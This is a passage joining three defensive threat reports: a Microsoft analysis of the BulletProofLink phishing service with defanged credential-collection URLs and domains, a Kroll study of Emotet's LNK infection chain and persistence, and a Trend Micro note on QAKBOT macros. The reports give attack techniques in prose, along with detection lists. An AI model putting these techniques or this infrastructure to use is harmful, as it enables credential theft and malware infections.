attacker-owned site where the user is meant to be redirected. In this campaign, a single base domain was used for the infinite subdomain technique to initiate the redirects for the campaign, which leveraged multiple secondary sites over several weeks. The compromised site redirected to a second domain that hosted the phishing page, which mimicked the Outlook sign-in screen and is generated for each user-specific URL. We found that the page is generated for any number of email addresses entered into the URI and had no checking mechanisms to guarantee that it wasn’t already used or was related to a live phishing email. There can be one or more locations to which credentials are sent, but the page employed a few obfuscation techniques to obscure these locations. One attempt to obfuscate the password processing site’s location was by using a function that decodes the location based on calling back to an array of numbers and letters. We reversed this in Python and found the site that the credentials were being sent to: hxxps://webpicture[.]cc/email-list/finish-unv2[.]php. The pattern “email-list/finish-unv2.php” came in one of these variations: finish-unv2[.]php, finish-unv22[.]php, or finish[.]php. These variations typically used the term “email-list” as well as another file path segment referencing a particular phishing page template, such as OneDrive or SharePoint. Occasionally, multiple locations were used to send credentials to, including some that could be owned by the purchasing party instead of the operator themselves, which could be called in a separate function. This could be an example of legacy artifacts remaining in final templates, or of double-theft occurring. Analyzing these patterns led us to an extensive list of password-capturing URIs detailed in independent research about the BulletProofLink phishing service operators. We noticed that they listed patterns similar to the ones we had just observed, enabling us to find the various templates BulletProofLink used, including the phishing email with the fake Microsoft logo discussed earlier. One of the patterns we noted is that many of the password-processing domains used in the campaigns directly had associated email addresses with “Anthrax,” “BulletProofLink,” “BulletProftLink,” or other terms in the certificate registration. The email addresses themselves were not listed identically on every certificate and were also tied to domains not used exclusively for password-processing, as noted in other investigations. From then on, we drew even more similarities between the landing pages seen in the infinite subdomain surge campaign we were tracking and the existing in-depth research on the adversaries behind the BulletProofLink operations. This process ultimately led us to track and expand on the same resources referenced in the other research, as we uncovered even more information about the long-running and large-scale phishing service BulletProofLink. Furthermore, we were able to uncover previous and current password-processing sites in use by the operator, as well as large segments of infrastructure hosted on legitimate hosting sites for this operation’s other components. ## “Double Theft” as a PhaaS Monetization Effort The PhaaS working model as we’ve described it thus far is reminiscent of the ransomware-as-a-service (RaaS) model, which involves double extortion. The extortion method used in ransomware generally involves attackers exfiltrating and posting data publicly, in addition to encrypting them on compromised devices, to put pressure on organizations to pay the ransom. This lets attackers gain multiple ways to assure payment, while the released data can then be weaponized in future attacks by other operators. In a RaaS scenario, the ransomware operator has no obligation to delete the stolen data even if the ransom is already paid. We have observed this same workflow in the economy of stolen credentials in phishing-as-a-service. With phishing kits, it is trivial for operators to include a secondary location for credentials to be sent to and hope that the purchaser of the phish kit does not alter the code to remove it. This is true for the BulletProofLink phishing kit, and in cases where the attackers using the service received credentials and logs at the end of a week instead of conducting campaigns themselves, the PhaaS operator maintained control of all credentials they resell. In both ransomware and phishing, the operators supplying resources to facilitate attacks maximize monetization by assuring stolen data, access, and credentials are put to use in as many ways as possible. Additionally, victims’ credentials also likely end up in the underground economy. For a relatively simple service, the return of investment offers considerable motivation as far as the email threat landscape goes. ## How Microsoft Defender for Office 365 Defends Against PhaaS-Driven Phishing Attacks Investigating specific email campaigns allows us to ensure protections against particular attacks as well as similar attacks that use the same techniques, such as the infinite subdomain abuse, brand impersonation, zero-point font obfuscation, and victim-specific URI used in the campaign discussed in this blog. By studying phishing-as-a-service operations, we are able to scale and expand the coverage of these protections to multiple campaigns that use the services of these operations. In the case of BulletProofLink, our intelligence on the unique phishing kits, phishing services, and other components of phishing attacks allows us to ensure protection against the many phishing campaigns this operation enables. Microsoft Defender for Office 365—which uses machine learning, heuristics, and an advanced detonation technology to analyze emails, attachments, URLs, and landing pages in real time—recognizes the BulletProofLink phishing kit that serves the false sign-in pages and detects the associated emails and URLs. In addition, based on our research into BulletProofLink and other PhaaS operations, we observed that numerous phishing kits leverage the code and behaviors of existing kits, such as those sold by BulletProofLink. Any kit that attempts to leverage similar techniques, or stitch together code from multiple kits can similarly be detected and remediated before the user receives the email or engages with the content. With Microsoft 365 Defender, we’re able to further expand that protection, for example, by blocking phishing websites and other malicious URLs and domains in the browser through Microsoft Defender SmartScreen, as well as the detection of suspicious and malicious behavior on endpoints. Advanced hunting capabilities allow customers to search through key metadata fields on mail flow for the indicators listed in this blog and other anomalies. Email threat data is correlated with signals from endpoints and other domains, providing even richer intelligence and expanding investigation capabilities. To build resilience against phishing attacks in general, organizations can use anti-phishing policies to enable mailbox intelligence settings, as well as configure impersonation protection settings for specific messages and sender domains. Enabling SafeLinks ensures real-time protection by scanning at the time of delivery and at the time of click. In addition to taking full advantage of the tools available in Microsoft Defender for Office 365, administrators can further strengthen defenses against the threat of phishing by securing the Azure AD identity infrastructure. We strongly recommend enabling multifactor authentication and blocking sign-in attempts from legacy authentication. ## Indicators of Compromise ### Password-Processing URLs - hxxps://apidatacss[.]com/finish-unv22[.]php - hxxps://ses-smtp[.]com/email-list/office19999999/finish[.]php - hxxps://ses-smtp[.]com/email-list/onedrive25/finish[.]php - hxxps://ses-smtp[.]com/email-list/office365nw/finish[.]php - hxxps://smtpro101[.]com/email-list/onedrive25/finish[.]php - hxxps://smtpro101[.]com/email-list/office19999999/finish[.]php - hxxps://plutosmto[.]com/email-list/office365nw/finish[.]php - hxxps://smtptemp[.]site/email-list/office365nw/finish[.]php - hxxps://trasactionsmtp[.]com/email-list/finish-unv2[.]php - hxxps://smtptemp.site/email-list/office365nw/finish[.]php - hxxps://apidatacss:com/finish-unv22[.]php - hxxps://smtptemp.site/email-list/otlk55/finish[.]php - hxxps://smtptemp.site/email-list/onedrive25/finish[.]php - hxxps://plutosmto[.]com/email-list/kumar/finish[.]php - hxxps://laptopdata.xyz/email-list/office365nw/finish[.]php - hxxps://jupitersmt[.]com/email-list/office365nw/finish[.]php - hxxps://plutosmto[.]com/email-list/onedrive25/finish[.]php - hxxps://plutosmto[.]com/email-list/sharepointbuisness/finish[.]php - hxxps://ghostsmtp[.]com/email-list/sharepoint/finish[.]php - hxxps://jupitersmt[.]com/email-list/otlk/finish[.]php - hxxps://earthsmtp[.]com/email-list/onedrive25/finish[.]php - hxxps://earthsmtp[.]com/email-list/office365nw/finish[.]php - hxxps://trasactionsmtp[.]com/email-list/defaultcustomers/johnphilips002021/finish[.]php - hxxps://trasactionsmtp[.]com/email-list/office365nw/finish[.]php - hxxps://trasactionsmtp[.]com/email-list/universalmail/finish[.]php - hxxps://trasactionsmtp[.]com/email-list/onedrive25/finish[.]php - hxxps://moneysmtp[.]com/email-list/office365nw/finish[.]php - hxxps://moneysmtp[.]com/email-list/otlk/finish[.]php - hxxps://moneysmtp[.]com/hxxp://moneysmtp[.]com/email-list/office365nw/finish[.]php - hxxps://feesmtp[.]com/email-list/office365rd40/finish[.]php - hxxps://feesmtp[.]com/email-list/onedrive25/finish[.]php - hxxps://Failedghostsmtp[.]com/email-list/sharepoint/finish[.]php - hxxps://bomohsmtp[.]com/email-list/office365-21/finish[.]php - hxxps://bomohsmtp[.]com/email-list/onedrive25/finish[.]php - hxxps://foxsmtp[.]com/email-list/onedrive25/finish[.]php - hxxps://dasmtp[.]com/email-list/dropboxoffice1/finish[.]php - hxxps://rosmtp[.]com/email-list/onedrive23/finish[.]php - hxxps://ghostsmtp[.]com/email-list/adobe20/finish[.]php - hxxps://josmtp[.]com/email-list/onedrive23/finish[.]php - hxxps://ghostsmtp[.]com:443/email-list/onedrive23/finish[.]php - hxxps://ghostsmtp[.]com/email-list/onedrive23/finish[.]php - hxxps://winsmtp[.]com/email-list/excel/finish[.]php - hxxps://linuxsmtp[.]com/email-list/adobe20/finish[.]php?phishing-processor - hxxps://gpxsmtp[.]com/email-list/office1/finish[.]php?phishing-processor - hxxps://gpxsmtp[.]com/email-list/onedrive23/finish[.]php?phishing-processor - hxxps://gpxsmtp[.]com/email-list/excel5/finish[.]php - hxxps://gpxsmtp[.]com/email-list/adobe3/finish[.]php - hxxps://gpxsmtp[.]com/email-list/office1/finish[.]php - hxxps://gpxsmtp[.]com/email-list/onedrive23/finish[.]php - hxxps://panelsmtp[.]com/email-list/onedrive-ar/finish[.]php - hxxps://mexsmtp[.]com/email-list/onedrive23/finish[.]php?phishing-processor - hxxps://racksmtp[.]com/email-list/domain-au1/finish[.]php - hxxps://racksmtp[.]com/email-list/finish[.]php - hxxps://racksmtp[.]com/email-list/sharepoint/finish[.]php - hxxps://mainsmtp[.]com/email-list/onedrive23/finish[.]php - hxxps://prvtsmtp[.]com/email-list/onedrive23/finish[.]php?i-am-a-phishing-processor - hxxps://prvtsmtp[.]com/email-list/onedrive23/finish[.]php?this-is-a-phishing-processor - hxxps://prvtsmtp[.]com/email-list/office1/finish[.]php - hxxps://prvtsmtp[.]com/email-list/onedrive23/finish[.]php ### Password-Processing Domains - hxxps://apidatacss[.]com - hxxps://apiserverdata1[.]com - hxxps://baller[.]top - hxxps://datacenter01.us - hxxps://f1smtp[.]com - hxxps://ghostsmtp[.]com - hxxps://gpxsmtp[.]com - hxxps://gurl101[.]services - hxxps://hostprivate[.]us - hxxps://josmtp[.]com - hxxps://link101[.]bid - hxxps://linuxsmtp[.]com - hxxps://migration101[.]us - hxxps://panelsmtp[.]com - hxxps://racksmtp[.]com - hxxps://rosmtp[.]com - hxxps://rxasmtp[.]com - hxxps://thegreenmy87[.]com - hxxps://vitme[.]bid - hxxps://voksmtp[.]com - hxxps://winsmtp[.]com - hxxps://trasactionsmtp[.]com - hxxps://moneysmtp[.]com - hxxps://foxsmtp[.]com - hxxps://bomohsmtp[.]com - hxxps://webpicture[.]cc - hxxps://Faileduebpicture.cc - hxxps://Failedsendapidata[.]com - hxxps://prvtsmtp[.]com - hxxps://sendapidata[.]com - hxxps://smtptemp.site - hxxps://plutosmto[.]com - hxxps://laptopdata[.]xyz - hxxps://jupitersmt[.]com - hxxps://earthsmtp[.]com - hxxps://feesmtp[.]com - hxxps://Failedghostsmtp[.]com - hxxps://dasmtp[.]com - hxxps://mexsmtp[.]com - hxxps://mainsmtp[.]com - hxxps://valvadi101[.]com - hxxps://ses-smtp[.]com
# Emotet Analysis: New LNKs in the Infection Chain Kroll has been tracking Emotet since it was first identified in 2014, especially during its transition from a banking Trojan designed to primarily steal credentials and sensitive information to a multi-threat polymorphic downloader for more destructive malware. Today, Emotet operators stand as one of the most prominent initial access brokers, providing cybercriminals with access to organizations for a fee. For example, the partnership between the Emotet group and Conti ransomware operators is well known in the cybersecurity community. Kroll frequently encounters Emotet in our incident response work and monitors Emotet activity closely in order to maintain robust detection and mitigation guidance for clients. In recent weeks, Kroll has observed three significant changes in the way that Emotet is delivered, architected, and operated once an initial infection is successful: - Emotet binary switched from 32-bit to 64-bit architecture - Emotet developers experimenting with new delivery method using .LNK files - Emotet dropping Cobalt Strike beacons immediately after infection Kroll is pleased to share the research we have conducted with the greater information security community. Our goal is to encourage further investigation that can better equip security professionals in preventing, detecting, mitigating, and responding to cyberattacks. ## Emotet Malware Analysis Emotet operates as a botnet, with each infected device able to coordinate new malspam campaigns to continue the spread of the malware to more victims in different organizations. Kroll observed that as of April 22, 2022, the Emotet operators deployed a change to one of their most active botnet subgroups (tracked as Epoch4), affecting the delivery mechanism of the loader part of the malware. Historically, Emotet is commonly introduced into a network through a malicious document (maldoc), such as a Word or Excel file, that contains a malicious payload within it. Recently, Kroll has observed a shift in Emotet’s method of distribution. The malware now leverages emails with password-protected .zip archive attachments that contain .LNK files instead of malicious documents. LNK files are shortcut files that link to an application or file commonly found on a user’s desktop or throughout a system and end with an .LNK extension. LNK files can be created by the user or automatically by the Windows operating system. The .LNK files delivered by Emotet act as shortcuts that run embedded scripts when executed. While packaging malicious PowerShell or VBScript in a .LNK file is not a new technique, it is the first time Emotet has been observed doing so. This could indicate that the developers are exploring other avenues of infection to bypass current security controls and training, which tend to focus on detection and interception of malicious documents. .LNK delivery keeps documents out of the attack chain: - Method 1: .ZIP -> .LNK -> CMD findstr -> VBS -> WScript -> regsvr32 - Method 2: .ZIP -> .LNK -> PowerShell -> regsvr32 ### Component Breakdown **Emotet Dropper** The latest initial infection vector used by Emotet comes in the form of a .zip file attached to an email. The .zip archive contains a shortcut (.LNK), which has the same name as the original .zip file. To date, the observed LNK files are consistently around 4KB in size. Since the early stages of this campaign, Kroll has already seen changes and updates to the malware delivery mechanics. At the beginning of the campaign, the LNK files initiated an embedded VBScript to download and execute the final Emotet payload. Due to an error in the LNK name contained in the command-line, these did not work and were quickly updated by Emotet’s operators. This rapid release of an updated version in the wild indicates the operators are closely tracking the campaign for course correction. The new, working LNKs reference the PowerShell executables with malicious arguments. Through the use of LECmd.exe, Kroll identified a piece of metadata left by the creation of the file. Using this as a correlating data point, an open-source intelligence search for files containing this string yielded dozens of .zip and LNK files associated with this campaign. Kroll assesses with high confidence that any attachment containing this string is associated with this most recent Emotet campaign. The successful LNK execution will result in the download of a file from one of six URLs, which will be saved to a temp folder on the victim’s system and executed via regsvr32.exe. **Loader** In reviewing one of the downloaded files, Kroll noted it is a Visual C++, 64-bit DLL compiled on April 25, 2022. Embedded within this DLL is the Emotet loader, whose purpose is to extract, decrypt, and execute the final payload. The first notable activity performed by the DLL is to allocate an area of memory with PAGE_EXECUTE_READWRITE protection, where the contents of another region of memory are decrypted and copied. Dumping this area of memory revealed executable code that can be decompiled into ASM and statically analyzed. Its function is to load a specific resource of the DLL, decrypt it, and pass the execution to it. The code will allocate a second region of memory with PAGE_EXECUTE_READWRITE permissions, where the decrypted contents of a DLL’s resource are copied after being decrypted. Emotet establishes and maintains persistence on the compromised system by creating a key in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. It instructs the system on startup to run a randomly named copy of the loader that it has placed in the temp folder. If the loader is executed with administrative privileges, it creates a new service that executes a copy of the malware. Emotet’s successful installation will register the compromised host to a C2 server. An initial AES-encrypted HTTP POST request containing information about the host is made to the C2 which, in turn, will respond with a command to execute. Commands can be divided into four main categories: - Do nothing (sleep) - Update or remove the binary - Load a module - Download and execute an EXE or a DLL Modules are one of the key aspects of Emotet’s core functionality. They allow for greater control of the compromised host without the need to add malicious functionality to the loader. In fact, they are received by the C2 and are executed in-memory, leaving no trace on disk. ### Countermeasures Below is some guidance on the detection and prevention of Emotet infections. It is important to note that Emotet is an endpoint threat spread via email; therefore, endpoint detection and response (EDR) and antivirus tooling is imperative to disrupting this threat. Many of these recommendations can also be applied to other forms of email-borne malware. **Detection** Understanding the initial infection vector is critical to detecting Emotet infections at the earliest opportunity. Emotet developers continue to experiment with methods of infection, and as such, it is important to test and develop detection methods as the threat changes. **Endpoint Detection** Since malicious email delivery may not always be preventable, detection of Emotet at the earliest opportunity is key for rapid containment and remediation. Below are some early detection opportunities: - Detect execution of Excel 4.0 macros - Detect Office spawning subprocesses such as CMD.exe, PowerShell*.exe, wscript.exe, cscript.exe, mshta.exe, wmic.exe, msbuild.exe - Emotet has previously exploited CVE-2017-11882, a remote code execution flaw in the Microsoft Equation Editor. Detection network connections from eqnedt32.exe can be an indicator of exploit. **Prevention** - Consider deploying endpoint detection and response (EDR) and next-generation antivirus (NGAV) to all devices within your environments to allow for early detection. - Review inbound email policy and consider quarantining attachments from unknown or untrusted senders. - Block users from opening non-standard files such as .iso, .dll, .jar, .js, .lib, .mst, .msp, .bat, .cmd, .com, .cpl, .msi, .msix. - Run awareness campaigns for this latest Emotet tactic. **Remediation** Treat any Emotet infection as a potential precursor to a ransomware event. Immediately initiate incident response playbooks. Consider including the following steps to contain an Emotet infection: - Isolate the affected endpoint. - Consider all data, including emails, passwords, accounts, and documents on the affected endpoint as being at-risk, until verified with network logs or DFIR investigation of the endpoint. - Identify the email which delivered Emotet. - Search mail system for matching emails which were sent to other staff members and remove the emails from their inbox. - Block the sender. - Inspect logs for Emotet spreading via internal emails, SMB, WMIC, or PsExec. ## Conclusion The ongoing development of Emotet reflects a significant time investment by the developers. Emotet changed regularly before the takedown by law enforcement on April 25, 2021, but the cadence of updates and spam campaigns has rapidly increased since its resurgence in November 2021. The latest shift away from its reliance on malicious documents or Excel spreadsheets demonstrates that the operators believe they will see diminishing returns from using maldocs. This could be because they have seen reduced effectiveness in malware delivery or installation. They may also wish to preempt coming changes that Microsoft has announced in the way Windows handles documents with the Mark of the Web (MOTW) by automatically disabling execution of macros on files downloaded from the internet. We have observed other actors exploring new ways of delivering malware to victims: - Use of .ISO containers to remove MOTW from documents or to bypass inline email defenses, which has notably been used by the IcedID malware. - Continued use of password-protected .zip attachments, as these are typically unable to be inspected by inline email security tooling. Although undoubtedly bruised by last year’s disruption, Emotet is certainly not dead. We assess that the Emotet developers will likely keep experimenting with new infection chains at this increased cadence. We also assess that the Emotet operators will move forward with large spam campaigns in order to rebuild the botnet, thus allowing them to sell the initial access they have gained to realize their return on investment.
# QAKBOT Loader Returns With New Techniques and Tools QAKBOT is a prevalent information-stealing malware that was first discovered in 2007. In recent years, its detection has become a precursor to many critical and widespread ransomware attacks. It has been identified as a key "malware installation-as-a-service" botnet that enables many of today’s campaigns. Toward the end of September 2021, we noted that QAKBOT operators resumed email spam operations after an almost three-month hiatus. Specifically, we saw that the malware distributor “TR” was sending malicious spam leading victims to SquirrelWaffle (another malware loader) and QAKBOT. In early October, the same “TR” distributor was reportedly conducting brute-force attacks on Internet Message Access Protocol (IMAP) services, and there is also speculation from security researchers that “TR” uses ProxyLogon to acquire credentials for the attacks. The actors using QAKBOT are leveraging hijacked email threads in their spam runs, a highly effective tactic that was used by groups such as Emotet in the past. Compromising IMAP services and email service providers (ESPs), or hijacking email threads allows attackers to leverage the trust a potential victim has in people they have corresponded with before, and it also allows for the impersonation of a compromised organization. Indeed, intended targets will be much more likely to open emails from a recognized sender. Unlike the waves of QAKBOT that we observed in the weeks leading up to its June 2021 break, this most recent campaign uses Visual Basic for Applications (VBA) macros alongside Excel 4.0 macros. In the following, we dive into the tools and techniques of this new edition and include a thorough analysis of QAKBOT’s history and previous tactics in our technical brief. QAKBOT operators are a key enabler for ransomware attacks. Since 2019, infections have led to the eventual deployment of human-operated ransomware families (MegaCortex and PwndLocker in 2019, Egregor, and ProLock in 2020, and Sodinokibi/REvil in 2021). Its reemergence in September is likely a signal of the initial infection of hosts. In the coming weeks, the operators might try to monetize some of these infections using ransomware. However, it is important to note that although QAKBOT activity is generally an initial investigation of targets by known malicious groups, not all QAKBOT infections will lead to serious ransomware incidents. ## How does the newest version of QAKBOT operate with VBA macros? When a victim opens the malicious file in their spam email, an auto_open macro will try to create a new sheet and set the font color to white. Macros typically execute as soon as the victim opens the document and selects the “Enable Content” button. It reads data embedded in a form control “UserForm1”, which is revealed to be the following: - Hard-coded QAKBOT payload hosts - The urlmon library The macro then assigns the values to cells in “Sheet 5” and evaluates and concatenates the command to download the QAKBOT DLL from a remote host. The process chain has also altered slightly with regsvr32.exe using -silent instead of -s parameter. The DLL download URL still uses now() to form the DLL name. The macro then deletes the “Sheet5” when the document is closed. For persistence, QAKBOT uses the same scheduled task as it has in the past. ## Security recommendations The constant resurgence of new, more sophisticated variants of known malware, as well as the emergence of entirely unknown threats, demands solutions with advanced detection and response capabilities. Users can protect themselves from new QAKBOT samples and other threats that spread through emails by following some of these best practices: - Avoid downloading attachments or selecting embedded links from emails before verifying the sender and the content. - Hover the pointer above embedded links to show the link’s target. - Check the identity of the sender. Unfamiliar email addresses, mismatched email and sender names, and spoofed company emails are some of the signs that the sender has malicious intent. - If the email claims to come from a legitimate company, check if they sent it before taking any action. Users can also protect systems through managed detection and response (MDR), which utilizes advanced artificial intelligence to correlate and prioritize threats, determining if they are part of a larger attack. It can detect threats before they are executed, thus preventing further compromise. For more information about the QAKBOT threat, download our technical brief. By: Ian Kenefick, Vladimir Kropotov November 13, 2021